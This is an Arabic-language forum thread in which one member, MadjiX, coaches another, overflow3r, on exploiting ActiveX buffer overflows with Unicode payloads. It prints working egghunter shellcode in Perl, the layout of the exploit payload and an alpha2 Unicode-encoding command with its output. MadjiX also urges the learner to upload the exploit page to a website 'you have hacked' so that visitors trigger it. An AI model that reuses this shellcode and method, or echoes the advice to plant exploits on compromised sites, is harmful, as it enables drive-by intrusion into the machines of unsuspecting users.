شرح استغلال ثغرات Activex وكتابة استغلال Unicode

[MadjiX]

لا عادي اخي

بالنسبة لسؤالك الثاني الثغرات تشتغل عادي اخي اذا رفعتها

او حطيتها بسيرفر اباتشي وخليت اي شخص يتصل بالرابط رح تشتغل

اما بالنسبة للمفتاح شايف ها*ي ببداية الشل كود %u7a44㜲穄㜲% ؟

طيب روح فكها من لهيكس الي حروف تلقى الناتج 27Dz

الحين شغلة ال egg hunter بالأسفل انو رح يبحث عن 27Dz لما يلقا هاذي الكلمة

رح يشغل الشل كود تمام طبعا انا هون فالثغرة غيرت المفتاح من w00t

المهم تحط اي كلمة يبحث عنها ال egg لما يلقاها يشغل الشل كود بعدها

بالنسبة لمشكلة ecx واله ماعرفت كيف رح ابسط لك اكثر من فوق اقرا كم مرة

ورح تفهم اي سؤال اخر انا هنا ان شاء الله

[overflow3r]

أنا جربت أرفعها على سيرفير محلي و لم تشتغل
هل جربتها أنت؟

أه فهمت مبدأ ال egghunter يعني لما يجد 27DZ يعني أنه وجد الشل كود
لكن الegghunter بنسفه لاحظت فيه المفتاح 27DZ و إذا كان سيبحث في كامل الذاكرة فأكيد سيفحص نفسه
فكيف سيعرف إذا ما كان هو الشل كود أما لا يزال في egghunter?

بالنسبة لمشكلة ecx سأحاول أن أطلع أكثر
ممكن ترفق لنا الملف المصاب لكي نجرب؟

[MadjiX]

أنت ذكي وتعجبني أسئلتك
الـ egghunter فيه 27dz
واحد فقط اما بداية الشل كود فاثنان يعني
27Dz27Dz
عندما يتكرر يعرف بانه فالمكان الصحيح
اما بالنسبة
لل سيرفر والثغرة فتشتغل شف موقع انت مخترقه
وارفع عليه لصفحة وردلي بالخبر
وانا ارفقت كل شيء استعملته فالشرح
في ها*ا الرد

المشاركة الأصلية كتبت بواسطة MadjiX

البرنامج المصاب فيجوال بيسك
بصح تقدر تفحص الملف dll المصاب مايحتاجش كل البرنامج
الملف المصاب رفعتو ليك هنا
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]
اما ابرنامج لي كنت نفحص بيه
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]
أما البرنامج نتاع التنقيح i
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]

اما الريموت ديسكتوب نتاعك لي عطيتهولي :D
هاذا اسمو vmware

[MadjiX]

ببساطة اكثر ا*ا مافهمت
ال egg hunter رح يبحث عن w00tw00t مش w00t
لها*ا بنحطها مكررة قبل الشل كود اما فال egg تكون واحدة بس
شف هون ها*ا مثال عن egg

my $egghunter ="\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"w00t"
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

اما الاستغلال رح يكون

my $payload=$junk.$eip.$egghunter.$padding."w00tw00t".$shellcode;

كمثال

والله الخطا مني لاني كاتب بالرد يبحث عن 27Dz
كنت شرحت كل شيء من الاول كان افضل انا والله من الاول حطيت الدرس
لمستوى متقدم بس معلش نحن فالخدمة ^^

[overflow3r]

بارك الله فيك
هل ممكن تقول لنا كيفية تصنع egghunter unicode?

[MadjiX]

عادي اخي تجيب egg hunter
وتعمله ب alpha2 encode
رح ينتجلك egg hunter unicode

[overflow3r]

إذا ممكن أخي تعمل شرح كتابي بسيط في الرد حول الطريقة لأني لم أعرف كيف أبدأ

[MadjiX]

طيب انا ارفقتلك اداة alpha في الرد اعملها compile
وروح لمكانها وحط هاذا الامر

./alpha eax --unicode --uppercase < /home/madjix/Desktop/overflower.bin

وطبعا من دون ماشرح حط ال egg في ها* الملف overfow3r.bin وها*ي عملتها الحين بس للشرح

madjix@Dz:~/Desktop$ vim Test.bin 
MadjiX-*/"'àçOverflow3r
madjix@Dz:~/Desktop$ ./alpha eax --unicode --uppercase < /home/madjix/Desktop/Test.bin
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIA
QAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAI
QI1111AIAJQI1AYAZBABABABAB30APB944JBPMQQ342JS9P
XNMNJNOMRMWXCEPXCVG0ORVC5BR36RL2OD7OCRRLJA

vim لقراءة مايوجد ب Test.bin
والامر الثاني لعمل ال encode alpha

أي سؤال اخر لا تردد مارح اتركك حتى نشوف اسمك في exploit-db :D

[overflow3r]

لا أدري ماذا أقول لك الله يجازيك خيرا على هذا الرد

ينقص فيه شيء واحد أظن و هو egg يا ريت ترفقه

[MadjiX]

ال egg في كثير تقدر تجيبهم من اي مكان وتعملهم encode
يصيرو unicode بس اذا عملتلك انا egg رح يكون eax او ecx
يعني رح عمله على اي محرر لهاذا خليتك انت الي تعمله لانو يختف
من ثغرة الى اخرى اختلاف في المحرر انت شوفت الامر انا حطيت eax
للتجربة بس انت في ثغرتك رح يختلف

أنت اعمل بهاذا
ينفع

my $egghunter ="\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"w00t"
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";